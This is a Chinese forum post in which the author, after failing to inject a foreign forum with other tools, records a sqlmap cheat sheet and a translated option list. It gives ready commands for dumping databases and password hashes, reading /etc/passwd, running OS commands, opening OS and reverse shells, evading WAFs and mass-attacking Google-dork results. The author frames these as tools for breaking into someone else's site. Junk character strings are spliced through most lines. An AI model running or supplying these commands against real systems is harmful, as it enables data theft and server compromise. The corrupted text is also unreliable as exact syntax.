今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
7 F& P" C, |+ _: \* ^sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
; w9 H. S! P$ a+ S/ nsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名5 L( p% O- P) ?! v# M# t, b! T
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段, b; `' F" y( ]! W2 M9 S2 w f
6 Z6 e) L& Z7 X2 xsqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
, I- p/ y% c0 G# N; C0 #获取字段内容8 w' |( Z, m3 C: D
5 I% w! ]1 `: Y# @
******************信息获取******************
( s' e1 H8 u8 _) q; ]1 F* Y2 Lsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型* N6 n% R) w) p! L. a2 @
sqlmap -u “http://url/news?id=1″ –users #列数据库用户+ [# L9 g* s e. E; n3 t% F
sqlmap -u “http://url/news?id=1″ –dbs#列数据库. M/ {0 y" o) W: r$ |6 }" \8 ?3 ^4 s
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码: i; l" J" V, y, D: T0 ]* t
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
, G& r$ ?, r S. Asqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”$ n& Q5 ^# v( ?. J; T X5 u
–start 1 –stop 20 #列出指定字段,列出20 条) ^- a% V$ e1 f6 t% `& Y+ N
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表9 v& Q) b0 b) v& o
sqlmap -u “http://url/news?id=1″ –privileges #查看权限0 |/ a& O/ w9 q7 ^
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
! z8 r! T0 ]8 W, J: d2 W- ^: k3 m2 k/ Bsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
8 W2 P/ n; |) |* W% X* qsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
. h+ @0 f w! w/ e% P7 D. R2 j5 V0 asqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录( r8 M& A( S: F6 G. F7 G9 }
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
6 B) [ \" [ I) |$ nsqlmap -u “http://url/news?id=1″-b #获取banner信息$ c3 i2 f% |, t, `0 P
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入/ p+ N# F2 t, k9 M
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型0 X1 I* J) d$ R+ `3 F' a' o: r* H4 q
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
1 K5 A3 Z7 ~6 r1 K2 M( C/ f! M$ gsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 A! ~" F& b/ a. \; q+ S3 ssqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
6 V4 M* @2 C; i% O* m: Zsqlmap -u “http://url/news?id=1″ –file /etc/passwd; a" H! B4 [& i; S& Z2 H& N- B6 u
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
9 O' i/ y1 |( O' Asqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell, x2 P1 X6 _$ b' H7 `- `% @
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
; Y, |9 U [9 x. s2 k* ~+ Xsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度) U, N: K% f5 v4 G, M+ t" ?; w/ r
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度$ y8 m2 M/ ?- q; Q" o. Q
***********高级用法*************
5 ^2 U* c* b1 V# k9 H/ H9 |-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
3 M' Q T: q- n$ qsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问5 Y+ W o$ q( F* z9 W: H
–technique 测试指定注入类型\使用的技术
5 C% o* _) \# g- R不加参数默认测试所有注入技术. h9 M g Z! j, m
• B: 基于布尔的SQL 盲注% C \( Z! r1 h$ F
• E: 基于显错sql 注入: B7 C% w9 R; `
• U: 基于UNION 注入
, w# A" l' E$ Q1 B( A• S: 叠层sql 注入
" E# t3 J9 \# }( ]9 H• T: 基于时间盲注% @' b. e/ V+ B0 d' j
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
* A! t9 a) f0 T8 K! I& n–tamper 插件所在目录
{/ v* E( T8 G Q! v5 Y* E$ G\sqlmap-dev\tamper
9 I6 Q% C8 Y. k$ o* r# W; `sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
2 F- X' X( ?3 rlevel 执行测试等级 攻击实例:
9 ^+ {6 L b5 Y& Z+ KSqlmap -u “http://url/news?id=1&Submit=Submit”
( G/ v' V7 ^; ]% w% ^) L–cookie=”PHPSESSID=41aa833e6d0d
: E F, w' J: R# G$ e/ ^& T28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user6 s$ n& s/ W: F$ C" p0 W
–password" K& z) l+ a, f* I9 R0 x/ P( R2 T) s
参考文档:http://sqlmap.sourceforge.net/doc/README.html& X) L8 I) ]7 h6 y) s" l- F
***********安装最新版本*************
4 ]- c" l" G' L* d) Tubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版% R! v, u& a& m4 G( T9 D8 t6 \
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev" _& W- q1 G7 I# f
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件' b& n, \5 s+ F
sudo vim /home/当前用户/.bashrc9 O, q" e, ^, l1 n
#任意位置加上:
2 L' l# ?) q% d; dalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效 J9 [2 V% r) v) }1 }, u& Z
如果想对所有用户有效 可设置全局 编辑下面的文件
. `% {" s) ?% a7 n$ b- H* o3 t4 |! n* h8 lvim /etc/profile) e6 r& [$ F) e; l. B
同样加上:
6 l2 \ _1 g. Ealias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
- L- H/ e& [$ ^, K: H* N& V******************windows 7 (x64) sqlmap install (SVN)************/ z1 Y! F% a" ?/ `6 C: e$ X
http://www.python.org/getit/ 安装python
- Z0 ~' d. U0 z2 d# I) @http://www.sliksvn.com/en/download 安装windows svn client
6 b# C) _4 G( X0 Y1 isvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
% K+ c) ?$ L6 P5 S9 k安装sqlmap( Q) A1 p: [. v; S. d H
*修改环境变量
% W, b0 {' b# }+ z+ K) R8 y$ ]: n$ o! r–version 显示程序的版本号并退出
& Z2 }) R) S" s5 @-h, –help 显示此帮助消息并退出: G' u, r, E# Y& |
-v VERBOSE 详细级别:0-6(默认为1)
- C$ k2 k6 J% e4 X. T+ h$ I; U E6 LTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 c" E& m; ^- I1 q-d DIRECT 直接连接到数据库。5 c7 i1 t; E/ @
-u URL, –url=URL 目标URL。
6 M9 j- ` ]4 w) i) q0 ]-l LIST 从Burp 或WebScarab 代理的日志中解析目标。% G3 G1 p6 [' Y7 A- z$ o
-r REQUESTFILE 从一个文件中载入HTTP 请求。
$ [) L9 s# n8 E- E6 q7 o-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
& O. |4 c" k3 e- ]6 H6 n4 G4 ]9 L-c CONFIGFILE 从INI 配置文件中加载选项。6 I4 B! ^2 O! u
Request(请求)::
! f. K9 F2 \. W3 o3 W这些选项可以用来指定如何连接到目标URL。
) w) W- w, t& ~$ d& ?; p% O–data=DATA 通过POST 发送的数据字符串5 r/ x% P! F7 W* I! M$ X& Q/ H
–cookie=COOKIE HTTP Cookie 头
\& C; Z% E& d& q–cookie-urlencode URL 编码生成的cookie 注入. h# R9 _9 k) J1 Q" a5 A& O
–drop-set-cookie 忽略响应的Set –Cookie 头信息5 i. z# J) b/ V. e) [* q0 u
+ D1 B1 c3 y, l K2 u5 Y, v. G/ F
–user-agent=AGENT 指定 HTTP User –Agent 头) P# s- K% P8 V0 u% W R* r( ]
–random-agent 使用随机选定的HTTP User –Agent 头/ ^ J& {6 ?: Y' P: z
–referer=REFERER 指定 HTTP Referer 头
+ v# l6 Q- N- }–headers=HEADERS 换行分开,加入其他的HTTP 头
7 J8 W" E0 F# D, |$ U2 t% A* U–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)' w; ` ?. o2 J0 w9 }3 N6 j
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)" n0 e3 Z. J6 f5 F4 Q7 Y, R
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file): n2 o( w, B. x* K4 o; A
–proxy=PROXY 使用HTTP 代理连接到目标URL
' R$ x! G- S5 D& @; n( t–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)# C8 w" g# F6 S6 L8 p
–ignore-proxy 忽略系统默认的HTTP 代理- E1 R# m1 l1 E
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
D2 C7 A& C5 c0 h$ A–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒) R0 N4 s; p+ S/ D" N
–retries=RETRIES 连接超时后重新连接的时间(默认3)
% x W' `$ V9 C* |7 B–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
8 k8 W9 I' b9 V–safe-url=SAFURL 在测试过程中经常访问的url 地址
9 w0 c. u: C0 @, g M2 p* l–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
E3 o H& c1 T! X1 lOptimization(优化): 这些选项可用于优化SqlMap 的性能。. J5 m- w, s+ C
-o 开启所有优化开关4 @) L- | M9 M8 t0 \
–predict-output 预测常见的查询输出
A) b0 ~. n& b |2 @8 d9 {# o–keep-alive 使用持久的HTTP(S)连接
) H8 P& w' ^8 F–null-connection 从没有实际的HTTP 响应体中检索页面长度1 K# c$ K |2 t- }2 |6 I3 M0 F
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)0 T) t/ j+ r' u7 ~
Injection(注入):) i f0 U Z9 o1 F% L2 E0 [
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。7 J4 {7 d; v8 ]5 O. P3 ~: ]' |- x
-p TESTPARAMETER 可测试的参数(S)
I. \8 G. e9 o–dbms=DBMS 强制后端的DBMS 为此值
[7 ~+ N' Q- I& Z–os=OS 强制后端的DBMS 操作系统为这个值
' ?& \3 z) R5 L" t( l–prefix=PREFIX 注入payload 字符串前缀
% J6 u' \+ V& @- {" Q–suffix=SUFFIX 注入 payload 字符串后缀
Z8 u& T5 S. Y; i8 o' {5 @* N–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
4 Z& N' e6 q1 {Detection(检测):
4 a" a9 h C4 a/ T* R$ @2 v这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。! _* V$ I9 G0 p2 _& X$ W
–level=LEVEL 执行测试的等级(1-5,默认为1)
C4 @* K+ w+ ` _) H9 }0 _–risk=RISK 执行测试的风险(0-3,默认为1)* y# n9 q+ r1 M5 d7 D/ }$ m7 s
–string=STRING 查询时有效时在页面匹配字符串0 W) ^( V$ n% q e1 D# R
–regexp=REGEXP 查询时有效时在页面匹配正则表达式$ o$ e- X1 e& g6 j ~8 I
–text-only 仅基于在文本内容比较网页9 m, I5 ~2 z* N/ v
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
+ y4 n/ ~; {. s o+ W9 F( M) A+ s& _–technique=TECH SQL 注入技术测试(默认BEUST)7 u6 {7 X8 T& S6 _# v) K
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)3 ~* r! I* d: q6 y1 W6 F: b' \
–union-cols=UCOLS 定列范围用于测试UNION 查询注入! K, l1 Y) ]0 L) `/ ^
–union-char=UCHAR 用于暴力猜解列数的字符
7 |+ O" I! B& \& M) @$ [Fingerprint(指纹):( l1 O' l6 d0 |0 L- ]
-f, –fingerprint 执行检查广泛的DBMS 版本指纹9 X$ U8 \9 ^1 D% t$ W
Enumeration(枚举):5 {) O& g5 Y) D, \6 H b% p
$ o. N' k# }* S( \
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
# n' Q) t: {1 s- M% P4 N-b, –banner 检索数据库管理系统的标识
1 y7 I8 f: {$ q, L4 ?$ D–current-user 检索数据库管理系统当前用户+ i+ M. P( Y! T4 R6 y$ {6 n
–current-db 检索数据库管理系统当前数据库
' v% ^" q; U5 g# G–is-dba 检测DBMS 当前用户是否DBA
; i4 r% L' X6 o/ O–users 枚举数据库管理系统用户
8 n/ }* j7 B. ~. N–passwords 枚举数据库管理系统用户密码哈希
" V( f# z( a3 w7 v% e–privileges 枚举数据库管理系统用户的权限1 L: \3 V' f* e1 ^6 i
–roles 枚举数据库管理系统用户的角色
7 Z5 S' S4 l- B# S–dbs 枚举数据库管理系统数据库2 d1 r5 d6 ?2 {6 C# c6 {% [' ?' Z& Y
–tables 枚举的DBMS 数据库中的表
; }$ k! h+ p3 ?# m+ C) s7 @–columns 枚举DBMS 数据库表列
! B+ X3 n+ L' D0 v–dump 转储数据库管理系统的数据库中的表项4 _$ N1 d& _: ^, T
–dump-all 转储所有的DBMS 数据库表中的条目) t1 g% m5 n+ L- \- [. H6 H
–search 搜索列(S),表(S)和/或数据库名称(S)
* R3 g+ A* w, D" h6 f6 N% x9 E-D DB 要进行枚举的数据库名
" W3 ~& \/ k, P6 P-T TBL 要进行枚举的数据库表$ U) L3 U8 P6 W: f O- m
-C COL 要进行枚举的数据库列0 S4 M1 F3 V a8 o6 ?; b
-U USER 用来进行枚举的数据库用户% D4 E0 M0 F9 h( s$ j0 P% f5 o
–exclude-sysdbs 枚举表时排除系统数据库
$ o1 y# C( z# L3 j, A( p' \–start=LIMITSTART 第一个查询输出进入检索4 x* p2 m4 G' ]+ g6 P2 s; w
–stop=LIMITSTOP 最后查询的输出进入检索. I; R( e1 O; P
–first=FIRSTCHAR 第一个查询输出字的字符检索
2 J/ {% V9 J0 f* Y5 L–last=LASTCHAR 最后查询的输出字字符检索
$ T. d2 M+ }. d, o; I- m ^–sql-query=QUERY 要执行的SQL 语句" x7 u5 S2 b& P& A8 _7 n5 S1 b. M9 C; P
–sql-shell 提示交互式SQL 的shell
+ m: ^+ K4 w3 X3 K$ W- l+ s) C- f% y+ `* sBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
) G; v- ?' n( f2 i! ]4 g–common-tables 检查存在共同表
. o) U/ O* F% h q3 [–common-columns 检查存在共同列
% Z/ a9 B$ u4 g/ N$ p$ eUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
. r5 P2 k3 R: h. z( h# W, {- m0 `–udf-inject 注入用户自定义函数
8 Y( I4 S% j" ^2 A/ C- _6 s" s7 D' p–shared-lib=SHLIB 共享库的本地路径
; J0 G9 {$ S2 E* G7 o( eFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
( D; V& E) u# ~0 C–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
% U- a' I: m; I2 r" {4 F–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
3 V3 E$ c: F; q1 i–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径, a: n. H. ^9 G7 p
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。7 t2 F, G) m' s/ H2 G
–os-cmd=OSCMD 执行操作系统命令3 \" \8 H, q' G$ w5 h
–os-shell 交互式的操作系统的shell$ c) U; x6 J( c K- P
–os-pwn 获取一个OOB shell,meterpreter 或VNC
' H- U/ v- y0 n' B) V$ g# z$ q% @' w* n–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC, x+ \) j9 ^# [5 y" \1 ?7 `1 p
–os-bof 存储过程缓冲区溢出利用
" N% |6 L5 R& y* \$ W–priv-esc 数据库进程用户权限提升
G" _; B8 `) [' z3 C2 q# y$ F6 u–msf-path=MSFPATH Metasploit Framework 本地的安装路径! Y+ g! w% h& t* m; F0 @
–tmp-path=TMPPATH 远程临时文件目录的绝对路径# z3 ?+ c; |2 f* r) [
* X# ?6 |! r+ u5 i( o% s
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。 D' G4 e0 t N- i
–reg-read 读一个Windows 注册表项值' l/ C8 ?) v: j/ e' k' [
–reg-add 写一个Windows 注册表项值数据1 x g0 F$ O, n9 w% U
–reg-del 删除Windows 注册表键值, B/ }; }/ T+ N
–reg-key=REGKEY Windows 注册表键: e5 g" B1 {, E
–reg-value=REGVAL Windows 注册表项值
0 h3 z2 h ]% o9 Y–reg-data=REGDATA Windows 注册表键值数据% @4 X6 Q$ _" k# Q9 l2 C; |
–reg-type=REGTYPE Windows 注册表项值类型
* X% q9 z* [/ q1 ^1 \General(一般): 这些选项可以用来设置一些一般的工作参数。
- ?4 c+ k P3 ?6 f& I4 I-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
. O+ {! [* p% G( z0 |+ J-s SESSIONFILE 保存和恢复检索会话文件的所有数据
& p) o/ J) D/ V) z. p9 r5 o; p–flush-session 刷新当前目标的会话文件! ~+ F( f1 F; K! m2 G P5 G
–fresh-queries 忽略在会话文件中存储的查询结果- s6 H! m% t0 I+ d& i- @" M- ]% g
–eta 显示每个输出的预计到达时间
% D$ r e j3 k) r0 |7 T7 Y- L–update 更新SqlMap: K9 M6 ?3 L8 a% Z5 l2 o
–save file 保存选项到INI 配置文件
, w5 g4 g) J. H–batch 从不询问用户输入,使用所有默认配置。- d6 [3 I: ~$ ^1 f
Miscellaneous(杂项):2 _8 E+ P/ E, a* j3 e) s+ t4 C
–beep 发现SQL 注入时提醒, z6 e3 W, C8 _$ U
–check-payload IDS 对注入payloads 的检测测试9 X, H9 M6 a; a. ?% X1 z9 g% L
–cleanup SqlMap 具体的UDF 和表清理DBMS
# I2 d: n) Q6 l# Y% `7 M# g4 s' \# E–forms 对目标URL 的解析和测试形式; U3 ]7 h' X4 a2 r8 `/ K6 e% u
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果% p( G( b0 g% S+ b2 n! s h; q5 n+ f
–page-rank Google dork 结果显示网页排名(PR)" ~2 q4 Z9 G) H
–parse-errors 从响应页面解析数据库管理系统的错误消息0 c# H& M+ V) b2 d' \: ~. m. S$ F" J
–replicate 复制转储的数据到一个sqlite3 数据库5 x8 b7 \$ O8 k ]5 v+ o, p# V9 |6 H* [% C
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- f h/ J! ^# g2 {) o–wizard 给初级用户的简单向导界面 |